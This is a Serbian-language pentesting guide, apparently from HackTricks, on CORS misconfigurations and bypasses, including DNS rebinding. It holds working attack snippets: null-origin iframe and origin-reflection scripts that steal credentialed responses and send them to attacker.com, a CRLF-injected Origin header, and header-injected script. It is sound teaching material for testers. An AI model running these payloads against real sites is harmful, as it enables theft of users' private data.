# CORS - Konfiguracije i Obilaženje

{{#include ../banners/hacktricks-training.md}}


## Šta je CORS?

Cross-Origin Resource Sharing (CORS) standard **omogućava serverima da definišu ko može pristupiti njihovim resursima** i **koje HTTP metode zahteva su dozvoljene** iz spoljašnjih izvora.

**Politika iste domene** nalaže da **server koji zahteva** resurs i server koji hostuje **resurs** dele isti protokol (npr., `http://`), naziv domena (npr., `internal-web.com`), i **port** (npr., 80). Prema ovoj politici, samo web stranice sa iste domene i porta imaju dozvolu za pristup resursima.

Primena politike iste domene u kontekstu `http://normal-website.com/example/example.html` ilustrovana je na sledeći način:

| URL pristupljen                              | Pristup dozvoljen?                       |
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/`      | Da: Identičan šema, domena i port |
| `http://normal-website.com/example2/`     | Da: Identičan šema, domena i port |
| `https://normal-website.com/example/`     | Ne: Drugačija šema i port           |
| `http://en.normal-website.com/example/`   | Ne: Drugačija domena                    |
| `http://www.normal-website.com/example/`  | Ne: Drugačija domena                    |
| `http://normal-website.com:8080/example/` | Ne: Drugačiji port\*                    |

\*Internet Explorer zanemaruje broj porta prilikom primene politike iste domene, čime omogućava ovaj pristup.

### `Access-Control-Allow-Origin` Header

Ovaj header može dozvoliti **više izvora**, **`null`** vrednost, ili wildcard **`*`**. Međutim, **nijedan pretraživač ne podržava više izvora**, a korišćenje wildcard `*` podložno je **ograničenjima**. (Wildcard se mora koristiti sam, a njegova upotreba zajedno sa `Access-Control-Allow-Credentials: true` nije dozvoljena.)

Ovaj header je **izdat od strane servera** kao odgovor na zahtev za resursom iz druge domene koji je pokrenula web stranica, pri čemu pretraživač automatski dodaje `Origin` header.

### `Access-Control-Allow-Credentials` Header

Po **default-u**, zahtevi iz druge domene se šalju bez kredencijala kao što su kolačići ili Authorization header. Ipak, server iz druge domene može dozvoliti čitanje odgovora kada se kredencijali šalju postavljanjem `Access-Control-Allow-Credentials` header-a na **`true`**.

Ako je postavljen na `true`, pretraživač će preneti kredencijale (kolačiće, autorizacione heder-e, ili TLS klijentske sertifikate).
```javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)
```

```javascript
fetch(url, {
credentials: "include",
})
```

```javascript
const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")
```
### CSRF Pre-flight request

### Razumevanje Pre-flight zahteva u komunikaciji između domena

Kada se pokreće zahtev između domena pod specifičnim uslovima, kao što su korišćenje **ne-standardne HTTP metode** (bilo šta osim HEAD, GET, POST), uvođenje novih **zaglavlja**, ili korišćenje posebne **vrednosti zaglavlja Content-Type**, može biti potreban pre-flight zahtev. Ovaj preliminarni zahtev, koji koristi **`OPTIONS`** metodu, služi da obavesti server o namerama nadolazećeg cross-origin zahteva, uključujući HTTP metode i zaglavlja koja namerava da koristi.

Protokol **Cross-Origin Resource Sharing (CORS)** zahteva ovu pre-flight proveru kako bi utvrdio izvodljivost tražene cross-origin operacije verifikovanjem dozvoljenih metoda, zaglavlja i pouzdanosti porekla. Za detaljno razumevanje uslova koji zaobilaze potrebu za pre-flight zahtevom, pogledajte sveobuhvatan vodič koji pruža [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).

Važno je napomenuti da **odsustvo pre-flight zahteva ne ukida obavezu da odgovor nosi autorizacijska zaglavlja**. Bez ovih zaglavlja, pregledač je onemogućen u svojoj sposobnosti da obradi odgovor iz cross-origin zahteva.

Razmotrite sledeću ilustraciju pre-flight zahteva koji ima za cilj korišćenje `PUT` metode zajedno sa prilagođenim zaglavljem pod nazivom `Special-Request-Header`:
```
OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
U odgovoru, server može vratiti zaglavlja koja ukazuju na prihvaćene metode, dozvoljeni izvor i druge detalje CORS politike, kao što je prikazano u nastavku:
```markdown
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
- **`Access-Control-Allow-Headers`**: Ova zaglavlja specificira koja zaglavlja mogu biti korišćena tokom stvarnog zahteva. Postavlja ga server da označi dozvoljena zaglavlja u zahtevima od klijenta.
- **`Access-Control-Expose-Headers`**: Kroz ovo zaglavlje, server obaveštava klijenta o tome koja zaglavlja mogu biti izložena kao deo odgovora pored jednostavnih zaglavlja odgovora.
- **`Access-Control-Max-Age`**: Ovo zaglavlje označava koliko dugo rezultati pre-flight zahteva mogu biti keširani. Server postavlja maksimalno vreme, u sekundama, koje se informacije vraćene pre-flight zahtevom mogu ponovo koristiti.
- **`Access-Control-Request-Headers`**: Koristi se u pre-flight zahtevima, ovo zaglavlje postavlja klijent da obavesti server o tome koja HTTP zaglavlja klijent želi da koristi u stvarnom zahtevu.
- **`Access-Control-Request-Method`**: Ovo zaglavlje, takođe korišćeno u pre-flight zahtevima, postavlja klijent da označi koja HTTP metoda će biti korišćena u stvarnom zahtevu.
- **`Origin`**: Ovo zaglavlje automatski postavlja pregledač i označava poreklo cross-origin zahteva. Koristi ga server da proceni da li bi dolazni zahtev trebao biti dozvoljen ili odbijen na osnovu CORS politike.

Napomena da obično (u zavisnosti od tipa sadržaja i postavljenih zaglavlja) u **GET/POST zahtevu ne šalje se pre-flight zahtev** (zahtev se šalje **direktno**), ali ako želite da pristupite **zaglavljima/telu odgovora**, mora sadržati _Access-Control-Allow-Origin_ zaglavlje koje to dozvoljava.\
**Stoga, CORS ne štiti od CSRF (ali može biti od pomoći).**

### **Zahtevi za lokalnu mrežu Pre-flight zahtev**

1. **`Access-Control-Request-Local-Network`**: Ovo zaglavlje je uključeno u zahtev klijenta da označi da je upit usmeren na resurs lokalne mreže. Služi kao oznaka da obavesti server da zahtev potiče iz lokalne mreže.
2. **`Access-Control-Allow-Local-Network`**: U odgovoru, serveri koriste ovo zaglavlje da komuniciraju da je traženi resurs dozvoljeno deliti sa entitetima van lokalne mreže. Deluje kao zeleno svetlo za deljenje resursa preko različitih mrežnih granica, osiguravajući kontrolisani pristup uz održavanje bezbednosnih protokola.

**Validan odgovor koji dozvoljava zahtev lokalne mreže** takođe treba da ima u odgovoru zaglavlje `Access-Controls-Allow-Local_network: true`:
```
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
```
> [!WARNING]
> Imajte na umu da linux **0.0.0.0** IP radi na **bypass** ovih zahteva za pristup localhost-u jer se ta IP adresa ne smatra "lokalnom".
>
> Takođe je moguće **bypass-ovati zahteve za lokalnu mrežu** ako koristite **javnu IP adresu lokalnog krajnjeg tačke** (kao što je javna IP adresa rutera). Jer u nekoliko slučajeva, čak i ako se pristupa **javnoj IP**, ako je **iz lokalne mreže**, pristup će biti odobren.

### Wildcards

Imajte na umu da čak i ako sledeća konfiguracija može izgledati veoma permisivno:
```bash
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```
Ovo nije dozvoljeno od strane pregledača i stoga akreditivi neće biti poslati sa zahtevom koji je dozvoljen ovim.

## Iskoristive pogrešne konfiguracije

Primećeno je da je postavljanje `Access-Control-Allow-Credentials` na **`true`** preduslov za većinu **pravih napada**. Ova postavka omogućava pregledaču da šalje akreditive i čita odgovor, čime se povećava efikasnost napada. Bez ovoga, korist od slanja zahteva putem pregledača umesto lično opada, jer korišćenje korisnikovih kolačića postaje neizvodljivo.

### Izuzetak: Iskorišćavanje mrežne lokacije kao autentifikacije

Postoji izuzetak gde mrežna lokacija žrtve deluje kao oblik autentifikacije. Ovo omogućava korišćenje pregledača žrtve kao proksija, zaobilaženje autentifikacije zasnovane na IP-u za pristup intranet aplikacijama. Ova metoda deli sličnosti u uticaju sa DNS rebinding, ali je jednostavnija za iskorišćavanje.

### Odsijavanje `Origin` u `Access-Control-Allow-Origin`

Scenarij iz stvarnog sveta gde se vrednost `Origin` zaglavlja odražava u `Access-Control-Allow-Origin` je teoretski malo verovatan zbog ograničenja u kombinovanju ovih zaglavlja. Međutim, programeri koji žele da omoguće CORS za više URL-ova mogu dinamički generisati zaglavlje `Access-Control-Allow-Origin` kopirajući vrednost zaglavlja `Origin`. Ovaj pristup može uvesti ranjivosti, posebno kada napadač koristi domen sa imenom koje izgleda legitimno, obmanjujući logiku validacije.
```html
<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>
```
### Iskorišćavanje `null` porekla

`null` poreklo, određeno za situacije poput preusmeravanja ili lokalnih HTML datoteka, zauzima jedinstvenu poziciju. Neke aplikacije stavljaju ovo poreklo na belu listu kako bi olakšale lokalni razvoj, nenamerno omogućavajući bilo kojoj veb stranici da imitira `null` poreklo putem sandbox-iranog iframe-a, čime se zaobilaze CORS ograničenja.
```html
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```

```html
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
### Tehnike za zaobilaženje regularnih izraza

Kada se susretnete sa belom listom domena, ključno je testirati mogućnosti za zaobilaženje, kao što je dodavanje domena napadača na belu listu ili iskorišćavanje ranjivosti preuzimanja poddomena. Pored toga, regularni izrazi koji se koriste za validaciju domena mogu zanemariti nijanse u konvencijama imenovanja domena, što predstavlja dodatne mogućnosti za zaobilaženje.

### Napredna zaobilaženja regularnih izraza

Regex obrasci obično se fokusiraju na alfanumeričke, tačku (.) i crticu (-), zanemarujući druge mogućnosti. Na primer, naziv domena napravljen da uključuje karaktere koje pregledači i regex obrasci drugačije interpretiraju može zaobići bezbednosne provere. Rukovanje karakterima donje crte u poddomenima od strane Safarija, Chrome-a i Firefoxa ilustruje kako se takve razlike mogu iskoristiti za zaobilaženje logike validacije domena.

**Za više informacija i podešavanja ove provere zaobilaženja:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **i** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)

![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../images/image (284).png>)

### Iz XSS unutar poddomena

Programeri često implementiraju odbrambene mehanizme kako bi se zaštitili od CORS eksploatacije beljenjem domena koji su dozvoljeni da traže informacije. I pored ovih mera opreza, bezbednost sistema nije nepogrešiva. Prisutnost čak i jednog ranjivog poddomena unutar belih listi domena može otvoriti vrata CORS eksploataciji kroz druge ranjivosti, kao što je XSS (Cross-Site Scripting).

Da ilustrujemo, razmotrite scenario u kojem je domen, `requester.com`, stavljen na belu listu da pristupa resursima sa drugog domena, `provider.com`. Konfiguracija na serverskoj strani može izgledati ovako:
```javascript
if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}
```
U ovoj postavci, svi poddomeni `requester.com` imaju dozvoljen pristup. Međutim, ako je poddomen, recimo `sub.requester.com`, kompromitovan XSS ranjivošću, napadač može iskoristiti ovu slabost. Na primer, napadač sa pristupom `sub.requester.com` mogao bi iskoristiti XSS ranjivost da zaobiđe CORS politike i zlonamerno pristupi resursima na `provider.com`.

### **Specijalni Karakteri**

PortSwigger-ova [URL validation bypass cheat sheet](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) je otkrila da neki pregledači podržavaju čudne karaktere unutar imena domena.

Chrome i Firefox podržavaju donje crte `_` koje mogu zaobići regex-e implementirane za validaciju `Origin` header-a:
```
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
```

```
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true
```
Safari je još opušteniji u prihvatanju specijalnih karaktera u imenu domena:
```
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
```

```
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true
```
### **Ostali smešni URL trikovi**

{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}

### **Trovanje keša na serverskoj strani**

[**Iz ove studije**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)

Moguće je da se iskorišćavanjem trovanja keša na serverskoj strani kroz injekciju HTTP header-a može izazvati skladištena ranjivost Cross-Site Scripting (XSS). Ovaj scenario se dešava kada aplikacija ne sanitizuje `Origin` header za nelegalne karaktere, stvarajući ranjivost posebno za korisnike Internet Explorera i Edge-a. Ovi pregledači tretiraju (0x0d) kao legitimni terminator HTTP header-a, što dovodi do ranjivosti injekcije HTTP header-a.

Razmotrite sledeći zahtev gde je `Origin` header manipulisan:
```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
Internet Explorer i Edge interpretiraju odgovor kao:
```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
Dok direktno iskorišćavanje ove ranjivosti slanjem neispravnog zaglavlja putem web pretraživača nije izvodljivo, može se ručno generisati prilagođeni zahtev koristeći alate kao što je Burp Suite. Ova metoda može dovesti do toga da server-side keš sačuva odgovor i nenamerno ga poslužuje drugima. Prilagođeni payload ima za cilj da izmeni karakter set stranice na UTF-7, kodiranje karaktera koje se često povezuje sa XSS ranjivostima zbog svoje sposobnosti da kodira karaktere na način koji se može izvršiti kao skripta u određenim kontekstima.

Za dalju literaturu o XSS ranjivostima, pogledajte [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).

**Napomena**: Iskorišćavanje ranjivosti injekcije HTTP zaglavlja, posebno kroz trovanje server-side keša, naglašava kritičnu važnost validacije i sanitizacije svih korisničkih unosa, uključujući HTTP zaglavlja. Uvek primenjujte robusni sigurnosni model koji uključuje validaciju unosa kako biste sprečili takve ranjivosti.

### **Trovanje keša na klijentskoj strani**

[**Iz ovog istraživanja**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)

U ovom scenariju, primećena je instanca web stranice koja reflektuje sadržaj prilagođenog HTTP zaglavlja bez pravilnog kodiranja. Konkretno, web stranica vraća sadržaj uključen u `X-User-id` zaglavlje, koje može uključivati zlonamerni JavaScript, kao što je prikazano u primeru gde zaglavlje sadrži SVG tag slike dizajniran da izvrši JavaScript kod prilikom učitavanja.

Cross-Origin Resource Sharing (CORS) politike omogućavaju slanje prilagođenih zaglavlja. Međutim, bez direktnog renderovanja odgovora od strane pretraživača zbog CORS ograničenja, korisnost takve injekcije može delovati ograničeno. Ključna tačka se javlja kada se razmatra ponašanje keša pretraživača. Ako `Vary: Origin` zaglavlje nije specificirano, postaje moguće da zlonamerni odgovor bude keširan od strane pretraživača. Nakon toga, ovaj keširani odgovor može biti direktno renderovan prilikom navigacije na URL, zaobilazeći potrebu za direktnim renderovanjem prilikom inicijalnog zahteva. Ovaj mehanizam poboljšava pouzdanost napada korišćenjem keširanja na klijentskoj strani.

Da ilustruje ovaj napad, dat je primer JavaScript-a, dizajniran da se izvrši u okruženju web stranice, kao što je kroz JSFiddle. Ovaj skript izvršava jednostavnu radnju: šalje zahtev na određeni URL sa prilagođenim zaglavljem koje sadrži zlonamerni JavaScript. Nakon uspešnog završetka zahteva, pokušava da se navigira na ciljani URL, potencijalno pokrećući izvršenje injektovane skripte ako je odgovor keširan bez pravilnog rukovanja `Vary: Origin` zaglavljem.

Evo sažetka JavaScript-a koji se koristi za izvršenje ovog napada:
```html
<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>
```
## Bypass

### XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, takođe poznat kao Cross-Site Script Inclusion, je vrsta ranjivosti koja koristi činjenicu da se Pravilo iste porekla (SOP) ne primenjuje prilikom uključivanja resursa koristeći script tag. To je zato što skripte moraju moći da se uključuju sa različitih domena. Ova ranjivost omogućava napadaču da pristupi i pročita bilo koji sadržaj koji je uključen koristeći script tag.

Ova ranjivost postaje posebno značajna kada su u pitanju dinamički JavaScript ili JSONP (JSON sa Padding), posebno kada se informacije o ambijentalnim ovlašćenjima kao što su kolačići koriste za autentifikaciju. Kada se zahteva resurs sa drugog hosta, kolačići se uključuju, čineći ih dostupnim napadaču.

Da biste bolje razumeli i ublažili ovu ranjivost, možete koristiti BurpSuite dodatak dostupan na [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Ovaj dodatak može pomoći u identifikaciji i rešavanju potencijalnih XSSI ranjivosti u vašim web aplikacijama.

[**Pročitajte više o različitim vrstama XSSI i kako ih iskoristiti ovde.**](xssi-cross-site-script-inclusion.md)

Pokušajte da dodate **`callback`** **parametar** u zahtev. Možda je stranica pripremljena da pošalje podatke kao JSONP. U tom slučaju, stranica će poslati nazad podatke sa `Content-Type: application/javascript`, što će zaobići CORS politiku.

![](<../images/image (856).png>)

### Easy (beskoristan?) bypass

Jedan od načina da se zaobiđe ograničenje `Access-Control-Allow-Origin` je traženje od web aplikacije da napravi zahtev u vaše ime i pošalje nazad odgovor. Međutim, u ovom scenariju, akreditivi konačne žrtve neće biti poslati jer se zahtev upućuje drugom domenu.

1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Ovaj alat pruža proxy koji prosleđuje vaš zahtev zajedno sa njegovim zaglavljima, dok takođe lažira Origin zaglavlje da odgovara traženom domenu. Ovo efikasno zaobilazi CORS politiku. Evo primera korišćenja sa XMLHttpRequest:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Ovaj alat nudi alternativni pristup proxy-ovanju zahteva. Umesto da prosledi vaš zahtev onako kako jeste, server pravi svoj zahtev sa specificiranim parametrima.

### Iframe + Popup Bypass

Možete **zaobići CORS provere** kao što su `e.origin === window.origin` tako što ćete **napraviti iframe** i **iz njega otvoriti novi prozor**. Više informacija na sledećoj stranici:

{{#ref}}
xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}

### DNS Rebinding via TTL

DNS rebinding putem TTL je tehnika koja se koristi za zaobilaženje određenih bezbednosnih mera manipulacijom DNS zapisa. Evo kako to funkcioniše:

1. Napadač kreira web stranicu i navodi žrtvu da joj pristupi.
2. Napadač zatim menja DNS (IP) svog domena da ukazuje na web stranicu žrtve.
3. Pregledač žrtve kešira DNS odgovor, koji može imati TTL (Time to Live) vrednost koja označava koliko dugo se DNS zapis smatra validnim.
4. Kada TTL istekne, pregledač žrtve pravi novi DNS zahtev, omogućavajući napadaču da izvrši JavaScript kod na stranici žrtve.
5. Održavanjem kontrole nad IP adresom žrtve, napadač može prikupljati informacije od žrtve bez slanja bilo kakvih kolačića na server žrtve.

Važno je napomenuti da pregledači imaju mehanizme keširanja koji mogu sprečiti trenutnu zloupotrebu ove tehnike, čak i sa niskim TTL vrednostima.

DNS rebinding može biti koristan za zaobilaženje eksplicitnih IP provera koje vrši žrtva ili za scenarije u kojima korisnik ili bot ostaje na istoj stranici duži vremenski period, omogućavajući kešu da istekne.

Ako vam je potreban brz način za zloupotrebu DNS rebinding-a, možete koristiti usluge kao što su [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).

Da biste pokrenuli svoj DNS rebinding server, možete koristiti alate kao što je **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Ovo uključuje izlaganje vašeg lokalnog porta 53/udp, kreiranje A zapisa koji ukazuje na njega (npr. ns.example.com), i kreiranje NS zapisa koji ukazuje na prethodno kreirani A poddomen (npr. ns.example.com). Bilo koji poddomen ns.example.com će tada biti rešen od strane vašeg hosta.

Takođe možete istražiti javno pokrenuti server na [http://rebind.it/singularity.html](http://rebind.it/singularity.html) za dalju razumevanje i eksperimentisanje.

### DNS Rebinding via **DNS Cache Flooding**

DNS rebinding putem DNS cache flooding je još jedna tehnika koja se koristi za zaobilaženje mehanizma keširanja pregledača i prisiljavanje na drugi DNS zahtev. Evo kako to funkcioniše:

1. U početku, kada žrtva napravi DNS zahtev, odgovara se sa IP adresom napadača.
2. Da bi zaobišao mehanizam keširanja, napadač koristi servisnog radnika. Servisni radnik poplavljuje DNS keš, što efikasno briše ime servera napadača iz keša.
3. Kada pregledač žrtve napravi drugi DNS zahtev, sada se odgovara sa IP adresom 127.0.0.1, koja obično se odnosi na localhost.

Poplavljujući DNS keš sa servisnim radnikom, napadač može manipulisati procesom DNS rezolucije i prisiliti pregledač žrtve da napravi drugi zahtev, ovaj put rešavajući na IP adresu koju napadač želi.

### DNS Rebinding via **Cache**

Još jedan način da se zaobiđe mehanizam keširanja je korišćenje više IP adresa za isti poddomen kod DNS provajdera. Evo kako to funkcioniše:

1. Napadač postavlja dva A zapisa (ili jedan A zapis sa dve IP adrese) za isti poddomen kod DNS provajdera.
2. Kada pregledač proverava ove zapise, dobija obe IP adrese.
3. Ako pregledač odluči da prvo koristi IP adresu napadača, napadač može poslužiti payload koji vrši HTTP zahteve na istom domenu.
4. Međutim, kada napadač dobije IP adresu žrtve, prestaje da odgovara pregledaču žrtve.
5. Pregledač žrtve, shvativši da domen ne odgovara, prelazi na korišćenje druge date IP adrese.
6. Pristupanjem drugoj IP adresi, pregledač zaobilazi Pravilo iste porekla (SOP), omogućavajući napadaču da zloupotrebi ovo i prikupi i eksfiltrira informacije.

Ova tehnika koristi ponašanje pregledača kada se za domen pružaju više IP adresa. Kontrolisanjem odgovora i manipulacijom izborom IP adrese od strane pregledača, napadač može iskoristiti SOP i pristupiti informacijama od žrtve.

> [!WARNING]
> Imajte na umu da da biste pristupili localhost-u, trebate pokušati da ponovo povežete **127.0.0.1** u Windows-u i **0.0.0.0** u Linux-u.\
> Provajderi kao što su godaddy ili cloudflare nisu mi dozvolili da koristim IP 0.0.0.0, ali AWS route53 mi je dozvolio da kreiram jedan A zapis sa 2 IP adrese, od kojih je jedna "0.0.0.0"
>
> <img src="../images/image (140).png" alt="" data-size="original">

Za više informacija možete proveriti [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)

### Other Common Bypasses

- Ako **interni IP-ovi nisu dozvoljeni**, možda su **zaboravili da zabrane 0.0.0.0** (radi na Linux-u i Mac-u)
- Ako **interni IP-ovi nisu dozvoljeni**, odgovarajte sa **CNAME** na **localhost** (radi na Linux-u i Mac-u)
- Ako **interni IP-ovi nisu dozvoljeni** kao DNS odgovori, možete odgovoriti sa **CNAME-ima na interne servise** kao što su www.corporate.internal.

### DNS Rebidding Weaponized

Možete pronaći više informacija o prethodnim tehnikama zaobilaženja i kako koristiti sledeći alat u predavanju [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).

[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) je alat za izvođenje [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) napada. Uključuje potrebne komponente za ponovo povezivanje IP adrese DNS imena servera napada na IP adresu ciljne mašine i za posluživanje napadačkih payload-a kako bi se iskoristio ranjivi softver na ciljnoj mašini.

### Real Protection against DNS Rebinding

- Koristite TLS u internim servisima
- Zahtevajte autentifikaciju za pristup podacima
- Validirajte Host zaglavlje
- [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Predlog da se uvek šalje pre-flight zahtev kada javni serveri žele da pristupe internim serverima

## **Tools**

**Fuzz moguće pogrešne konfiguracije u CORS politikama**

- [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
- [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
- [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
- [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
- [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
- [https://github.com/omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne)

## References

- [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
- [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
- [https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
- [https://www.codecademy.com/articles/what-is-cors](https://www.codecademy.com/articles/what-is-cors)
- [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors)
- [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
- [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)

{{#include ../banners/hacktricks-training.md}}